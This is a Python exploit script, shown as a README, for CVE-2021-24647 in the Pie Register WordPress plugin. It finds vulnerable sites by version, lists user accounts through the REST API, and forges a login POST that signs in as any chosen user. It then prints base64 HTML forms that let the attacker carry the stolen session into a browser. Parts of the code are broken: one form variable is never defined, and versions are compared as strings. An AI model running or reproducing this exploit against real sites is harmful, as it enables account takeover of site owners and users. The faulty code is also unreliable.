README.md
Rendering markdown...
#!/usr/bin/env python3
import os
import click
import argparse
import requests
import json
import base64
from bs4 import BeautifulSoup
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests.exceptions import RequestException
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
session = requests.Session()
### Pie Register < 3.7.1.6 - Unauthenticated Arbitrary Login
###
### CVE-2021-24647
###
### Fixed in version 3.7.1.6
###
### script by randomrobbiebf
def version_check(wordpress_url):
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
plugin_url = ""+wordpress_url+"/wp-content/plugins/pie-register/readme.txt"
response = requests.get(plugin_url, headers=headers,verify=False,timeout=30)
if response.status_code == 200:
content = response.text
version_line = next((line for line in content.split('\n') if line.startswith('Stable tag:')), None)
if version_line:
version = version_line.split(':')[1].strip()
if version >= '3.7.1.6':
print("The plugin version is 3.7.1.6 or above.")
exit()
else:
print("The plugin version is below 3.7.1.6.")
print("The plugin version is "+version+"")
return version
else:
print("Failed to find the version information in the readme.txt file.")
exit()
else:
print("Plugin not installed")
exit()
# Method 2: Using WordPress REST API
def get_usernames_rest_api(wordpress_url):
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'}
api_url = wordpress_url + '/wp-json/wp/v2/users'
response = session.get(api_url, headers=headers, verify=False)
if response.status_code == 200:
users = response.json()
usernames = [user['name'] for user in users]
user_ids = [user['id'] for user in users]
deduplicated_usernames = list(set(usernames))
return user_ids, deduplicated_usernames
else:
print(f"Failed to fetch usernames using REST API. Error: {response.text}")
return [], []
# Method 4: Using the Wordpress Rest API
def scrape_users_via_rest_api(wordpress_url):
try:
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'}
api_url = f"{wordpress_url}/?rest_route=/wp/v2/users"
response = requests.get(api_url, headers=headers, verify=False)
if response.status_code == 200:
users = response.json()
usernames = [user['name'] for user in users]
user_ids = [user['id'] for user in users]
deduplicated_usernames = list(set(usernames))
return user_ids, deduplicated_usernames
else:
print(f"Failed to fetch usernames using REST Route API. Error: {response.text}")
return [], []
except Exception as e:
print("Error occurred while scraping users:", str(e))
return [], []
# Function to select user
def select_user(user_ids, usernames):
users = [{'id': user_id, 'name': username} for user_id, username in zip(user_ids, usernames)]
click.echo("Select a user:")
for user in users:
click.echo(f"{user['id']}. {user['name']}")
user_id = click.prompt("Enter the user ID", type=int)
selected_user = next((user for user in users if user['id'] == user_id), None)
if selected_user:
return selected_user
else:
click.echo("Invalid user ID.")
return None
def sendem(selected_user,wordpress_url,wordpress_path,version):
# Create a session
session = requests.Session()
user_id = selected_user['id']
username = selected_user['name']
# Set the request headers
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-GB,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36' # Replace with a real user agent
}
# Set the POST data based on the version
if version <= '3.7.1.5':
data = {
'log': 'a',
'pwd': 'a',
'social_site': 'true',
'user_id_social_site': user_id,
'wp-submit': 'Log In',
'testcookie': '1'
}
elif version == '3.7.1.6':
data = {
'log': username,
'pwd': 'a',
'social_site': 'true',
'wp-submit': 'Log In'
}
else:
raise ValueError("Invalid version number")
# Make the POST request
url = ''+wordpress_url+'/'+wordpress_path+'/' # Replace with the actual URL
try:
response = session.post(url, headers=headers, data=data, verify=False)
response.raise_for_status()
except RequestException as e:
print("Error occurred:", e)
else:
# Print the response
print("")
if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
print("Boom we were able to login as "+username+" copy and paste the following in to your browser and refresh and you will be logged in.")
if version <= '3.7.1.5':
form1 = """<html><body>
<script>history.pushState('', '', '/');</script>
<form action="{}{}" method="POST">
<input type="hidden" name="log" value="a" />
<input type="hidden" name="pwd" value="a" />
<input type="hidden" name="social_site" value="true" />
<input type="hidden" name="user_id_social_site" value="{}" />
<input type="hidden" name="wp-submit" value="Log In" />
<input type="hidden" name="testcookie" value="1" /><input type="submit" value="Submit request" />
</form></body></html>""".format(wordpress_url,wordpress_path,user_id)
form1_base64 = base64.b64encode(form1.encode()).decode()
data_uri = f"data:text/html;base64,{form1_base64}"
print("")
print(data_uri)
else:
form2 = """<html><body>
<script>history.pushState('', '', '/');</script>
<form action="{}{}" method="POST">
<input type="hidden" name="log" value="{}" />
<input type="hidden" name="pwd" value="a" />
<input type="hidden" name="social_site" value="true" />
<input type="hidden" name="wp-submit" value="Log In" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>""".format(wordpress_url,wordpress_path,username)
data_uri2 = f"data:text/html;base64,{form2_base64}"
print("")
print(data_uri2)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-w", "--url", required=True, help="URL of the WordPress site")
parser.add_argument("-p", "--path", required=False, default="/login/",help="Path of the Login Page /login/ or /pie-registration/")
args = parser.parse_args()
wordpress_url = args.url
wordpress_path = args.path
version = version_check(wordpress_url)
# Obtain user IDs and deduplicated usernames using Method 2
user_ids, deduplicated_usernames = get_usernames_rest_api(wordpress_url)
# Alternatively, obtain user IDs and deduplicated usernames using Method 4
# user_ids, deduplicated_usernames = scrape_users_via_rest_api(wordpress_url)
# Pass the user IDs and deduplicated usernames to the select_user function
selected_user = select_user(user_ids, deduplicated_usernames)
sendem(selected_user,wordpress_url,wordpress_path,version)